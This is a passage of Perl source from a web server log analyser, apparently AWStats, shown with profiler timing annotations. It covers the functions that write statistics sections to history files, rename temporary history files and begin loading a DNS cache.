3712 # We save robot list in score sorted order to get a -output faster and with less use of memory.
3713 &BuildKeyList($MaxNbOf{'RobotShown'},$MinHit{'Robot'},\%_robot_h,\%_robot_h);
3714 my %keysinkeylist=();
3715 foreach (@keylist) {
3716 $keysinkeylist{$_}=1;
3717 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_robot_h{$_})."${xmlrs}".int($_robot_k{$_})."${xmlrs}$_robot_l{$_}${xmlrs}".int($_robot_r{$_}||0)."${xmlre}\n";
3718 }
3719 foreach (keys %_robot_h) {
3720 if ($keysinkeylist{$_}) { next; }
3721 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_robot_h{$_})."${xmlrs}".int($_robot_k{$_})."${xmlrs}$_robot_l{$_}${xmlrs}".int($_robot_r{$_}||0)."${xmlre}\n";
3722 }
3723 print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n";
3724 }
3725 if ($sectiontosave eq 'worms') {
3726 print HISTORYTMP "\n";
3727 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n"; }
3728 print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n";
3729 print HISTORYTMP "# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n";
3730 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3731 print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}".(scalar keys %_worm_h)."${xmlbe}\n";
3732 # We save worm list in score sorted order to get a -output faster and with less use of memory.
3733 &BuildKeyList($MaxNbOf{'WormsShown'},$MinHit{'Worm'},\%_worm_h,\%_worm_h);
3734 my %keysinkeylist=();
3735 foreach (@keylist) {
3736 $keysinkeylist{$_}=1;
3737 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_worm_h{$_})."${xmlrs}".int($_worm_k{$_})."${xmlrs}$_worm_l{$_}${xmlre}\n";
3738 }
3739 foreach (keys %_worm_h) {
3740 if ($keysinkeylist{$_}) { next; }
3741 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_worm_h{$_})."${xmlrs}".int($_worm_k{$_})."${xmlrs}$_worm_l{$_}${xmlre}\n";
3742 }
3743 print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n";
3744 }
3745 if ($sectiontosave eq 'emailsender') {
3746 print HISTORYTMP "\n";
3747 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n"; }
3748 print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
3749 print HISTORYTMP "# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n";
3750 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3751 print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}".(scalar keys %_emails_h)."${xmlbe}\n";
3752 # We save sender email list in score sorted order to get a -output faster and with less use of memory.
3753 &BuildKeyList($MaxNbOf{'EMailsShown'},$MinHit{'EMail'},\%_emails_h,\%_emails_h);
3754 my %keysinkeylist=();
3755 foreach (@keylist) {
3756 $keysinkeylist{$_}=1;
3757 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_emails_h{$_}||0)."${xmlrs}".int($_emails_k{$_}||0)."${xmlrs}$_emails_l{$_}${xmlre}\n";
3758 }
3759 foreach (keys %_emails_h) {
3760 if ($keysinkeylist{$_}) { next; }
3761 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_emails_h{$_}||0)."${xmlrs}".int($_emails_k{$_}||0)."${xmlrs}$_emails_l{$_}${xmlre}\n";
3762 }
3763 print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n";
3764 }
3765 if ($sectiontosave eq 'emailreceiver') {
3766 print HISTORYTMP "\n";
3767 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n"; }
3768 print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
3769 print HISTORYTMP "# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n";
3770 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3771 print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}".(scalar keys %_emailr_h)."${xmlbe}\n";
3772 # We save receiver email list in score sorted order to get a -output faster and with less use of memory.
3773 &BuildKeyList($MaxNbOf{'EMailsShown'},$MinHit{'EMail'},\%_emailr_h,\%_emailr_h);
3774 my %keysinkeylist=();
3775 foreach (@keylist) {
3776 $keysinkeylist{$_}=1;
3777 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_emailr_h{$_}||0)."${xmlrs}".int($_emailr_k{$_}||0)."${xmlrs}$_emailr_l{$_}${xmlre}\n";
3778 }
3779 foreach (keys %_emailr_h) {
3780 if ($keysinkeylist{$_}) { next; }
3781 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_emailr_h{$_}||0)."${xmlrs}".int($_emailr_k{$_}||0)."${xmlrs}$_emailr_l{$_}${xmlre}\n";
3782 }
3783 print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n";
3784 }
3785
3786 # Navigation
3787 if ($sectiontosave eq 'session') { # This section must be saved after VISITOR section is read
3788 print HISTORYTMP "\n";
3789 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3790 print HISTORYTMP "# Session range - Number of visits\n";
3791 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3792 print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}".(scalar keys %_session)."${xmlbe}\n";
3793 foreach (keys %_session) { print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_session{$_})."${xmlre}\n"; }
3794 print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n";
3795 }
3796 if ($sectiontosave eq 'sider') { # This section must be saved after VISITOR section is read
3797 print HISTORYTMP "\n";
3798 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n"; }
3799 print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n";
3800 print HISTORYTMP "# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n";
3801 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3802 print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}".(scalar keys %_url_p)."${xmlbe}\n";
3803 # We save page list in score sorted order to get a -output faster and with less use of memory.
3804 &BuildKeyList($MaxNbOf{'PageShown'},$MinHit{'File'},\%_url_p,\%_url_p);
3805 %keysinkeylist=();
3806 foreach (@keylist) {
3807 $keysinkeylist{$_}=1;
3808 my $newkey=$_;
3809 $newkey =~ s/([^:])\/\//$1\//g; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
3810 print HISTORYTMP "${xmlrb}$newkey${xmlrs}".int($_url_p{$_}||0)."${xmlrs}".int($_url_k{$_}||0)."${xmlrs}".int($_url_e{$_}||0)."${xmlrs}".int($_url_x{$_}||0)."${xmlre}\n";
3811 }
3812 foreach (keys %_url_p) {
3813 if ($keysinkeylist{$_}) { next; }
3814 my $newkey=$_;
3815 $newkey =~ s/([^:])\/\//$1\//g; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
3816 print HISTORYTMP "${xmlrb}$newkey ".int($_url_p{$_}||0)."${xmlrs}".int($_url_k{$_}||0)."${xmlrs}".int($_url_e{$_}||0)."${xmlrs}".int($_url_x{$_}||0)."${xmlre}\n";
3817 }
3818 print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n";
3819 }
3820 if ($sectiontosave eq 'filetypes') {
3821 print HISTORYTMP "\n";
3822 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3823 print HISTORYTMP "# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n";
3824 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3825 print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}".(scalar keys %_filetypes_h)."${xmlbe}\n";
3826 foreach (keys %_filetypes_h) {
3827 my $hits=$_filetypes_h{$_}||0;
3828 my $bytes=$_filetypes_k{$_}||0;
3829 my $bytesbefore=$_filetypes_gz_in{$_}||0;
3830 my $bytesafter=$_filetypes_gz_out{$_}||0;
3831 print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n";
3832 }
3833 print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n";
3834 }
3835 if ($sectiontosave eq 'os') {
3836 print HISTORYTMP "\n";
3837 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3838 print HISTORYTMP "# OS ID - Hits\n";
3839 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3840 print HISTORYTMP "${xmlbb}BEGIN_OS${xmlbs}".(scalar keys %_os_h)."${xmlbe}\n";
3841 foreach (keys %_os_h) { print HISTORYTMP "${xmlrb}$_${xmlrs}$_os_h{$_}${xmlre}\n"; }
3842 print HISTORYTMP "${xmleb}END_OS${xmlee}\n";
3843 }
3844 if ($sectiontosave eq 'browser') {
3845 print HISTORYTMP "\n";
3846 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3847 print HISTORYTMP "# Browser ID - Hits\n";
3848 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3849 print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}".(scalar keys %_browser_h)."${xmlbe}\n";
3850 foreach (keys %_browser_h) { print HISTORYTMP "${xmlrb}$_${xmlrs}$_browser_h{$_}${xmlre}\n"; }
3851 print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n";
3852 }
3853 if ($sectiontosave eq 'screensize') {
3854 print HISTORYTMP "\n";
3855 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3856 print HISTORYTMP "# Screen size - Hits\n";
3857 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3858 print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}".(scalar keys %_screensize_h)."${xmlbe}\n";
3859 foreach (keys %_screensize_h) { print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n"; }
3860 print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n";
3861 }
3862
3863 # Referer
3864 if ($sectiontosave eq 'unknownreferer') {
3865 print HISTORYTMP "\n";
3866 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3867 print HISTORYTMP "# Unknown referer OS - Last visit date\n";
3868 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3869 print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}".(scalar keys %_unknownreferer_l)."${xmlbe}\n";
3870 foreach (keys %_unknownreferer_l) { print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($_)."${xmlrs}$_unknownreferer_l{$_}${xmlre}\n"; }
3871 print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n";
3872 }
3873 if ($sectiontosave eq 'unknownrefererbrowser') {
3874 print HISTORYTMP "\n";
3875 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3876 print HISTORYTMP "# Unknown referer Browser - Last visit date\n";
3877 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3878 print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}".(scalar keys %_unknownrefererbrowser_l)."${xmlbe}\n";
3879 foreach (keys %_unknownrefererbrowser_l) { print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($_)."${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n"; }
3880 print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n";
3881 }
3882 if ($sectiontosave eq 'origin') {
3883 print HISTORYTMP "\n";
3884 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3885 print HISTORYTMP "# Origin - Pages - Hits \n";
3886 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3887 print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6"."${xmlbe}\n";
3888 print HISTORYTMP "${xmlrb}From0${xmlrs}".int($_from_p[0])."${xmlrs}".int($_from_h[0])."${xmlre}\n";
3889 print HISTORYTMP "${xmlrb}From1${xmlrs}".int($_from_p[1])."${xmlrs}".int($_from_h[1])."${xmlre}\n";
3890 print HISTORYTMP "${xmlrb}From2${xmlrs}".int($_from_p[2])."${xmlrs}".int($_from_h[2])."${xmlre}\n";
3891 print HISTORYTMP "${xmlrb}From3${xmlrs}".int($_from_p[3])."${xmlrs}".int($_from_h[3])."${xmlre}\n";
3892 print HISTORYTMP "${xmlrb}From4${xmlrs}".int($_from_p[4])."${xmlrs}".int($_from_h[4])."${xmlre}\n"; # Same site
3893 print HISTORYTMP "${xmlrb}From5${xmlrs}".int($_from_p[5])."${xmlrs}".int($_from_h[5])."${xmlre}\n"; # News
3894 print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n";
3895 }
3896 if ($sectiontosave eq 'sereferrals') {
3897 print HISTORYTMP "\n";
3898 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3899 print HISTORYTMP "# Search engine referers ID - Pages - Hits\n";
3900 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3901 print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}".(scalar keys %_se_referrals_h)."${xmlbe}\n";
3902 foreach (keys %_se_referrals_h) { print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_se_referrals_p{$_}||0)."${xmlrs}$_se_referrals_h{$_}${xmlre}\n"; }
3903 print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n";
3904 }
3905 if ($sectiontosave eq 'pagerefs') {
3906 print HISTORYTMP "\n";
3907 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n"; }
3908 print HISTORYTMP "# External page referers - Pages - Hits\n";
3909 print HISTORYTMP "# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n";
3910 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3911 print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}".(scalar keys %_pagesrefs_h)."${xmlbe}\n";
3912 # We save page list in score sorted order to get a -output faster and with less use of memory.
3913 &BuildKeyList($MaxNbOf{'RefererShown'},$MinHit{'Refer'},\%_pagesrefs_h,\%_pagesrefs_p);
3914 %keysinkeylist=();
3915 foreach (@keylist) {
3916 $keysinkeylist{$_}=1;
3917 my $newkey=$_;
3918 $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i; # Remove / at end of http://.../ but not at end of http://.../dir/
3919 print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($newkey)."${xmlrs}".int($_pagesrefs_p{$_}||0)."${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
3920 }
3921 foreach (keys %_pagesrefs_h) {
3922 if ($keysinkeylist{$_}) { next; }
3923 my $newkey=$_;
3924 $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i; # Remove / at end of http://.../ but not at end of http://.../dir/
3925 print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($newkey)."${xmlrs}".int($_pagesrefs_p{$_}||0)."${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
3926 }
3927 print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n";
3928 }
3929 if ($sectiontosave eq 'searchwords') {
3930 # Save phrases section
3931 print HISTORYTMP "\n";
3932 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n"; }
3933 print HISTORYTMP "# Search keyphrases - Number of search\n";
3934 print HISTORYTMP "# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n";
3935 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3936 print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}".(scalar keys %_keyphrases)."${xmlbe}\n";
3937 # We will also build _keywords
3938 %_keywords=();
3939 # We save key list in score sorted order to get a -output faster and with less use of memory.
3940 &BuildKeyList($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'},\%_keyphrases,\%_keyphrases);
3941 %keysinkeylist=();
3942 foreach my $key (@keylist) {
3943 $keysinkeylist{$key}=1;
3944 my $keyphrase=$key;
3945 $keyphrase =~ tr/ /\+/s;
3946 print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($keyphrase)."${xmlrs}".$_keyphrases{$key}."${xmlre}\n";
3947 foreach (split(/\+/,$key)) { $_keywords{$_}+=$_keyphrases{$key}; } # To init %_keywords
3948 }
3949 foreach my $key (keys %_keyphrases) {
3950 if ($keysinkeylist{$key}) { next; }
3951 my $keyphrase=$key;
3952 $keyphrase =~ tr/ /\+/s;
3953 print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($keyphrase)."${xmlrs}".$_keyphrases{$key}."${xmlre}\n";
3954 foreach (split(/\+/,$key)) { $_keywords{$_}+=$_keyphrases{$key}; } # To init %_keywords
3955 }
3956 print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n";
3957
3958 # Now save keywords section
3959 print HISTORYTMP "\n";
3960 if ($xml) { print HISTORYTMP "<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n"; }
3961 print HISTORYTMP "# Search keywords - Number of search\n";
3962 print HISTORYTMP "# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n";
3963 $ValueInFile{"keywords"}=tell HISTORYTMP;
3964 print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}".(scalar keys %_keywords)."${xmlbe}\n";
3965 # We save key list in score sorted order to get a -output faster and with less use of memory.
3966 &BuildKeyList($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'},\%_keywords,\%_keywords);
3967 %keysinkeylist=();
3968 foreach (@keylist) {
3969 $keysinkeylist{$_}=1;
3970 my $keyword=$_;
3971 print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($keyword)."${xmlrs}".$_keywords{$_}."${xmlre}\n";
3972 }
3973 foreach (keys %_keywords) {
3974 if ($keysinkeylist{$_}) { next; }
3975 my $keyword=$_;
3976 print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($keyword)."${xmlrs}".$_keywords{$_}."${xmlre}\n";
3977 }
3978 print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n";
3979
3980 }
3981
3982 # Other - Errors
3983 if ($sectiontosave eq 'cluster') {
3984 print HISTORYTMP "\n";
3985 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3986 print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n";
3987 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3988 print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}".(scalar keys %_cluster_h)."${xmlbe}\n";
3989 foreach (keys %_cluster_h) { print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_cluster_p{$_}||0)."${xmlrs}".int($_cluster_h{$_}||0)."${xmlrs}".int($_cluster_k{$_}||0)."${xmlre}\n"; }
3990 print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n";
3991 }
3992 if ($sectiontosave eq 'misc') {
3993 print HISTORYTMP "\n";
3994 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3995 print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n";
3996 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3997 print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}".(scalar keys %MiscListCalc)."${xmlbe}\n";
3998 foreach (keys %MiscListCalc) { print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_misc_p{$_}||0)."${xmlrs}".int($_misc_h{$_}||0)."${xmlrs}".int($_misc_k{$_}||0)."${xmlre}\n"; }
3999 print HISTORYTMP "${xmleb}END_MISC${xmlee}\n";
4000 }
4001 if ($sectiontosave eq 'errors') {
4002 print HISTORYTMP "\n";
4003 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
4004 print HISTORYTMP "# Errors - Hits - Bandwidth\n";
4005 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
4006 print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}".(scalar keys %_errors_h)."${xmlbe}\n";
4007 foreach (keys %_errors_h) { print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}".int($_errors_k{$_}||0)."${xmlre}\n"; }
4008 print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n";
4009 }
4010 # Other - Trapped errors
4011 foreach my $code (keys %TrapInfosForHTTPErrorCodes) {
4012 if ($sectiontosave eq "sider_$code") {
4013 print HISTORYTMP "\n";
4014 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
4015 print HISTORYTMP "# URL with $code errors - Hits - Last URL referer\n";
4016 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
4017 print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}".(scalar keys %_sider404_h)."${xmlbe}\n";
4018 foreach (keys %_sider404_h) {
4019 my $newkey=$_;
4020 my $newreferer=$_referer404_h{$_}||'';
4021 print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($newkey)."${xmlrs}$_sider404_h{$_}${xmlrs}".XMLEncodeForHisto($newreferer)."${xmlre}\n";
4022 }
4023 print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n";
4024 }
4025 }
4026 # Other - Extra stats sections
4027 foreach my $extranum (1..@ExtraName-1) {
4028 if ($sectiontosave eq "extra_$extranum") {
4029 print HISTORYTMP "\n";
4030 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n"; }
4031 print HISTORYTMP "# Extra key - Pages - Hits - Bandwidth - Last access\n";
4032 print HISTORYTMP "# The $MaxNbOfExtra[$extranum] first number of hits are first\n";
4033 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
4034 print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}".scalar (keys %{'_section_' . $extranum . '_h'})."${xmlbe}\n";
4035 &BuildKeyList($MaxNbOfExtra[$extranum],$MinHitExtra[$extranum],\%{'_section_' . $extranum . '_h'},\%{'_section_' . $extranum . '_p'});
4036 %keysinkeylist=();
4037 foreach (@keylist) {
4038 $keysinkeylist{$_}=1;
4039 my $page=${'_section_' . $extranum . '_p'}{$_}||0;
4040 my $bytes=${'_section_' . $extranum . '_k'}{$_}||0;
4041 my $lastaccess=${'_section_' . $extranum . '_l'}{$_}||'';
4042 print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($_)."${xmlrs}$page${xmlrs}", ${'_section_' . $extranum . '_h'}{$_}, "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n"; next;
4043 }
4044 foreach (keys %{'_section_' . $extranum . '_h'}) {
4045 if ($keysinkeylist{$_}) { next; }
4046 my $page=${'_section_' . $extranum . '_p'}{$_}||0;
4047 my $bytes=${'_section_' . $extranum . '_k'}{$_}||0;
4048 my $lastaccess=${'_section_' . $extranum . '_l'}{$_}||'';
4049 print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($_)."${xmlrs}$page${xmlrs}", ${'_section_' . $extranum . '_h'}{$_}, "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n"; next;
4050 }
4051 print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n";
4052 }
4053 }
4054
4055 # Other - Plugin sections
4056 if ($AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i) {
4057 my $pluginname=$1;
4058 if ($PluginsLoaded{'SectionInitHashArray'}{"$pluginname"}) {
4059# my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)";
4060# eval("$function");
4061 my $function="SectionWriteHistory_$pluginname";
4062 &$function($xml,$xmlbb,$xmlbs,$xmlbe,$xmlrb,$xmlrs,$xmlre,$xmleb,$xmlee);
4063 }
4064 }
4065
4066 %keysinkeylist=();
4067}
4068
4069#--------------------------------------------------------------------
4070# Function: Rename all tmp history file into history
4071# Parameters: None
4072# Input: $DirData $PROG $FileSuffix
4073# $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone
4074# Output: None
4075# Return: 1 Ok, 0 at least one error (tmp files are removed)
4076#--------------------------------------------------------------------
4077
# spent 7.67ms (7.62+49µs) within main::Rename_All_Tmp_History which was called # once (7.62ms+49µs) at line 7538
sub Rename_All_Tmp_History {
4078110.007630.00069 my $pid=$$;
4079 my $renameok=1;
4080
4081 if ($Debug) { debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)"); }
4082
4083 opendir(DIR,"$DirData");
4084
4085 my $datemask;
4086 if ($DatabaseBreak eq 'month') { $datemask='\d\d\d\d\d\d'; }
4087 elsif ($DatabaseBreak eq 'year') { $datemask='\d\d\d\d'; }
4088 elsif ($DatabaseBreak eq 'day') { $datemask='\d\d\d\d\d\d\d\d'; }
4089 elsif ($DatabaseBreak eq 'hour') { $datemask='\d\d\d\d\d\d\d\d\d\d'; }
4090 if ($Debug) { debug("Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'"); }
4091
4092 my $regfilesuffix=quotemeta($FileSuffix);
4093 foreach (grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/, file_filt sort readdir DIR) {
# spent 49µs making 1 call to main::file_filt
4094 /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/;
4095 if ($renameok) { # No rename error yet
4096 if ($Debug) { debug(" Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt",1); }
4097 if (-s "$DirData/$PROG$1$FileSuffix.tmp.$$") { # Rename tmp files if size > 0
4098 if ($KeepBackupOfHistoricFiles) {
4099 if (-s "$DirData/$PROG$1$FileSuffix.txt") { # History file already exists. We backup it
4100 if ($Debug) { debug(" Make a backup of old history file into $PROG$1$FileSuffix.bak before",1); }
4101 #if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) {
4102 if (rename("$DirData/$PROG$1$FileSuffix.txt", "$DirData/$PROG$1$FileSuffix.bak")==0) {
4103 warning("Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\".");
4104 }
4105 if ($SaveDatabaseFilesWithPermissionsForEveryone) {
4106 chmod 0666,"$DirData/$PROG$1$FileSuffix.bak";
4107 }
4108 }
4109 else {
4110 if ($Debug) { debug(" No need to backup old history file",1); }
4111 }
4112 }
4113 if (rename("$DirData/$PROG$1$FileSuffix.tmp.$$", "$DirData/$PROG$1$FileSuffix.txt")==0) {
4114 $renameok=0; # At least one error in renaming working files
4115 # Remove tmp file
4116 unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
4117 warning("Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong".($ENV{'GATEWAY_INTERFACE'}?" for an 'update from web'":"")." or file might be opened.");
4118 next;
4119 }
4120 if ($SaveDatabaseFilesWithPermissionsForEveryone) {
4121 chmod 0666,"$DirData/$PROG$1$FileSuffix.txt";
4122 }
4123 }
4124 }
4125 else { # Because of rename error, we remove all remaining tmp files
4126 unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
4127 }
4128 }
4129 close DIR;
4130 return $renameok;
4131}
4132
4133#------------------------------------------------------------------------------
4134# Function: Load DNS cache file entries into a memory hash array
4135# Parameters: Hash array ref to load into,
4136# File name to load,
4137# File suffix to use
4138# Save to a second plugin file if not up to date
4139# Input: None
4140# Output: Hash array is loaded
4141# Return: 1 No DNS Cache file found, 0 OK
4142#------------------------------------------------------------------------------
4143sub Read_DNS_Cache {
4144 my $hashtoload=shift;
4145 my $dnscachefile=shift;
4146 my $filesuffix=shift;
4147 my $savetohash=shift;
4148
4149 my $dnscacheext='';
4150 my $filetoload='';
4151 my $timetoload = time();
4152
4153 if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); }
4154 if ($dnscachefile =~ s/(\.\w+)$//) { $dnscacheext=$1; }
4155 foreach my $dir ("$DirData",".","") {
4156 my $searchdir=$dir;
4157 if ($searchdir && (!($searchdir =~ /\/$/)) && (!($searchdir =~ /\\$/)) ) { $searchdir .= "/"; }
4158 if (-f "${searchdir}$dnscachefile$filesuffix$dnscacheext") { $filetoload="${searchdir}$dnscachefile$filesuffix$dnscacheext"; }
4159 # Plugin call : Change filetoload
4160 if ($PluginsLoaded{'SearchFile'}{'hashfiles'}) { SearchFile_hashfiles($searchdir,$dnscachefile,$filesuffix,$dnscacheext,$filetoload); }
4161 if ($filetoload) { last; } # We found a file to load
4162 }
4163
4164 if (! $filetoload) {
4165 if ($Debug) { debug(" No DNS Cache file found"); }
4166 return 1;
4167 }
4168
4169 # Plugin call : Load hashtoload
4170 if ($PluginsLoaded{'LoadCache'}{'hashfiles'}) { LoadCache_hashfiles($filetoload,$hashtoload); }
